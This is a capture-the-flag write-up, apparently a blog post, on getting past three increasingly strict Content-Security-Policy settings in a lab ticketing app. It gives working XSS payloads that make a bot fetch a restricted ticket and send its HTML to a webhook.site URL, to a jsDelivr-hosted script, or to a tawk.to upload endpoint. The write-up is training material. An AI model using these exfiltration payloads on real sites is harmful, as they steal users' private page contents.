CSP Challenges
Thanks to ajxchapman for creating https://bughuntr.io where these challenges are from.
What is CSP?
Content-Security-Policy can be used to prevent and detect content injection attacks such as xss, it can be set as a response header or a meta tag, but it should not be used as the only way to prevent these attacks as it can be easily bypassed when misconfigured. A good tool to check a CSP policy is google's CSP validator which allows you to copy and paste a policy and check for dangerous misconfigurations.
CSP Challenges one, two and three use the same application each with a more strict csp:
The application is a ticketing system where the user can submit tickets and a bot responds to those and closes them, the bot only interacts with the ticket once and that is to cancel the ticket. Our flag is shown in the list of tickets with an open book icon next to it, meaning it is still opened, however we do not have access to this ticket and if we try to view it we get a 403 error
Challenge Uno
In this first challenge we can inject some html into the ticket's comments by sending our payload in the ticket comment section in the name field, after we create a ticket.
csrfmiddlewaretoken=LiM4kODGhMxB0RIkXXzxlfv5qR9mLSBv8XOT85LpubTz4YlzJ2NhPVGOGY3Rc9b0
&creator='/><h1>testing injection</h1>
&body=test
We can also see that a bot(ticketbot) visits our ticket and closes it, this is important because the bot can probably see everyone's tickets including the one with our flag which right now we can't see. The bot only views our ticket once, after it closes our ticket it will not view our ticket again.
That same behavior will be consistent through all three challenges.
The CSP policy is in all responses as a header:
Content-Security-Policy
default-src *; script-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net *.tawk.to; style-src 'self' https://cdn.jsdelivr.net *.tawk.to
Let's paste it in google's CSP validator
unsafe-inline
should stick out here, as well as the cdn but the unsafe-inline
allows us to use an inline script tag to execute JavaScript.
Now let's try to run some JavaScript to build our payload! We should be able to execute something like an alert to prove that idea.
Great now, how can trick the ticketbot into giving us the flag?
My idea is as follows:
- Make the ticketbot visit the ticket where our flag is located
- Take the html from the page and get it out to somewhere we control
This applies in all three scenarios
We can build our payload by using it on ourselves first, we'll write some JavaScript which will fetch the page where the flag is and send it's contents to a server we control, I like using webhook.site for CTF's to do stuff like this.
We can send the data over to webhook by creating an image tag which we'll append to the body of the page, we give this image a src
where the value is a server we control and append the data as a parameter(sending a post message is probably better but I like the image tag).
I'm using fetch to make the requests which will return the response's body as text and that will then be sent with my image request in a parameter.
// this is where the flag is
// we should receive the html
// content of the page which says
// we do not have access to that page
"'/><script>
fetch("/view/<ticket>").
then(res => res.text()).
then((data) => {
var img = document.createElement("img");
img.src="https://webhook.site/dca2f591-eb3a-47f9-8f5f-c5c2d1c0116d/a.png?data="+data;
document.body.appendChild(img);
})
</script>
Now let's send this as our payload which goes in the comment section once you create a ticket, and we should see a callback in our webhook:
This works on us but if we try it against the ticketbot you'll find out it never triggers a request, after trying to figure out why I thought about checking what the URL of the current page is to see if that worked, this would allow me to get some information on where the ticketbot is coming from to know where my attack need to be directed to.
"'/><script>
// our payload grabs the URL value of
// the current page
var img = document.createElement("img");
img.src="https://webhook.site/dca2f591-eb3a-47f9-8f5f-c5c2d1c0116d/a.png?data="+window.location.href;
document.body.appendChild(img);
</script>
After getting our own request we should get one from the ticketbot, showing the URL it's visiting from, this gives us more information for our attack:
- We need to make the request to
http://127.0.0.1:9000/view/<ticket>
Our new payload will be:
"'/><script>
fetch("http://127.0.0.1:9000/view/<ticket>").
then(res => res.text()).
then((data) => {
var img = document.createElement("img");
img.src="https://webhook.site/dca2f591-eb3a-47f9-8f5f-c5c2d1c0116d/a.png?data="+data;
document.body.appendChild(img);
})
</script>
This will trigger an error for us but the bot should be able to make that request for us. The original payload didn't work because I was making the request to port 80 where that page didn't exist.
The next scenario can follow the same path to exploitation, but the CSP is a bit different as the unsafe-inline
is removed.
CSP Dos
In the next challenge our changelog states:
- Content-Security-Policy restricted to prevent execution of unauthorized javascript.
And if we check out CSP policy and paste in google's CSP validator we can see that unsafe-inline
has been removed from the script-src
list, but the cdn is still available.
Content-Security-Policy
default-src *; script-src 'self' https://cdn.jsdelivr.net *.tawk.to; object-src 'self'; style-src 'self' https://cdn.jsdelivr.net *.tawk.to
With this CSP we are not allowed to execute inline JavaScript so we have to rely on the domains that have been allowed by the developers. In this case https://www.jsdelivr.com/ is a CDN that has a really cool feature, it allows us to serve JavaScript from a github repo. Using this we can host some malicious JavaScript that will do the same thing as the last challenge and send it somewhere we control.
I used this https://github.com/nerdyamigo/cdnxss/blob/main/xss-poc.js
which can be served from the cdn that's allowed to execute scripts, just paste a link to the code you want to serve from github and grab the link from https://www.jsdelivr.com/github.
fetch("http://127.0.0.1:9000/view/<ticket>").then((res) => {
return res.text();
}).then(data => {
fetch("https://webhook.site/dca2f591-eb3a-47f9-8f5f-c5c2d1c0116d/a.png?data="+data);
})
Served from https://cdn.jsdelivr.net/gh/nerdyamigo/cdnxss@main/xss-poc.js
Our payload this time is using an external script that is allowed to execute JavaScript.
'/><script src="https://cdn.jsdelivr.net/gh/nerdyamigo/cdnxss@main/xss-poc.js"></script>
Using this we will again see a failed request on our side but the ticketbot should be able to view page we requested and send us our flag.
The next challenge is a bit different and using the cdn can work but connections outside the allowed ones are not allowed, however we do have one more source where connections are allowed.
CSP Tres
Changelog:
- Further Content-Security-Policy update to limit javascript interactions to only specifically permitted endpoints.
- Content-Security-Policy restricted to prevent execution of unauthorized javascript.
As in the previous challenges we'll start with checking the CSP header.
Content-Security-Policy
default-src 'none'; script-src 'self' https://cdn.jsdelivr.net *.tawk.to; object-src 'self'; style-src 'self' https://cdn.jsdelivr.net *.tawk.to; img-src 'self' *.tawk.to; media-src 'self'; frame-src 'self'; font-src 'self'; connect-src 'self' *.tawk.to wss://*.tawk.to
Here we see that the only thing being called out is the cdn, we can still execute from there but we can't make any callbacks to our server because of the connect-src
directive, which explicitly states what we can cam make requests out to.
connect-src 'self' *.tawk.to wss://*.tawk.to
The interesting part here is the domain tawk.to
- this is a service that allows you to have a chat popup in your application, by only adding some javascript, this domain is also in our script-src
, so it's allowed to run JavaScript.
Looking at the service, and the documentation here, I tried opening the chat by going to the dev console in the browser and using:
window.Tawk_API.popup();
Awesome, we can open the popup, but now what?
Tawk.to is free to use, so we can signup for an account and get our own chat. Because our injection still exists, we can use the cdn to load the tawk script for our chat and execute it from there.
I did it this way so I could also perform the exploit right after my chat was loaded.
Using this I was able to load a chat I controlled on the page, I spent a lot of time trying to figure out how to send the html that had the flag to somewhere I controlled, the only option was to send it tawk.to
and somehow retrieve it. I tried to use websockets to send it to the open chat but that didn't work, so I hit up Alex and asked about my approach - he mentioned uploads and I started playing with that.
There's a few things I found out about how the chat functionality works that will help explain how to exploit it to send our data to somewhere we can control.
- You can view chats in your tawk.to dashboard
- The client and you can upload files
- The client uploads sends a post to
https://upload.tawk.to/upload/visitor-chat/visitor?handle=0c47125a3139b11ae32bd67965c9a0f461d1c92c&visitorSessionId=61860b2ece40c32e3e38daad
- When you upload something from the dashboard it goes to
https://upload.tawk.to/upload/page/agent?handle=097401fa71979d51c80167449a189a134b20a19b&pageId=61830caa6bb0760a494106d7&agentSessionId=6185ddfe69d9e2
I tried uploading to the /visitor
endpoint but I could only upload once and then would get 500
errors on any subsequent POST
to that endpoint. The agent however can upload to the /upload/page/agent
route as many times as possible and the files can be retrieved by checking the response and grabbing the url that is provided for the file:
https://tawk.link/61830caa6bb0760a494106d7/a/61830c9a69d9e20b02e41112/097401fa71979d51c80167449a189a134b20a19b/test2
Any file posted while the chat is going on can be reached by its filename using the route that is provided for this chat. To get the route send an attachment to an active chat from the tawk.to dashboard and grab the URL to the file, since we control the filename and it doesn't change we can visit the file we created with the contents of the ticket with the flag.
So now what?
Here is my idea:
- Make the bot view the ticket with the flag
- Steal the contents of the flag
- Somehow put the contents in a file and upload it to the chat we have opened using the
/agent/
route.
All this can be done all in JavaScript, hosted on github and served from the cdn that is allowed.
var Tawk_API=Tawk_API||{}, Tawk_LoadStart=new Date();
(function(){
var s1=document.createElement("script"),s0=document.getElementsByTagName("script")[0];
s1.async=true;
s1.src='https://embed.tawk.to/61830caa6bb0760a494106d7/1fjjuiusl';
s1.charset='UTF-8';
s1.setAttribute('crossorigin','*');
s0.parentNode.insertBefore(s1,s0);
})();
fetch("http://127.0.0.1:9000/view/f1135719-d3a5-4534-9bc1-f7ddcf4c8cb3").then((res) => {
return res.text();
}).then(data => {
var formData = new FormData();
var file = new File([data], "flag2.txt", {
type: "text/plain",
});
formData.append("upload", file);
fetch("https://upload.tawk.to/upload/page/agent?handle=8194642e04cf8530ca49d5432a72ffc1d06c3569&pageId=61830caa6bb0760a494106d7&agentSessionId=61855f3369d9e20b02eb53da",{
method: 'POST',
body: formData
});
})
Our final payload would be:
'/><script src="https://cdn.jsdelivr.net/gh/nerdyamigo/cdnxss@main/testcsrfpost11/flagplz7.js"></script>
Which when the bot visits before closing our ticket will send us the file with the html contents.
This last challenge was a lot of fun to solve.
Top comments (0)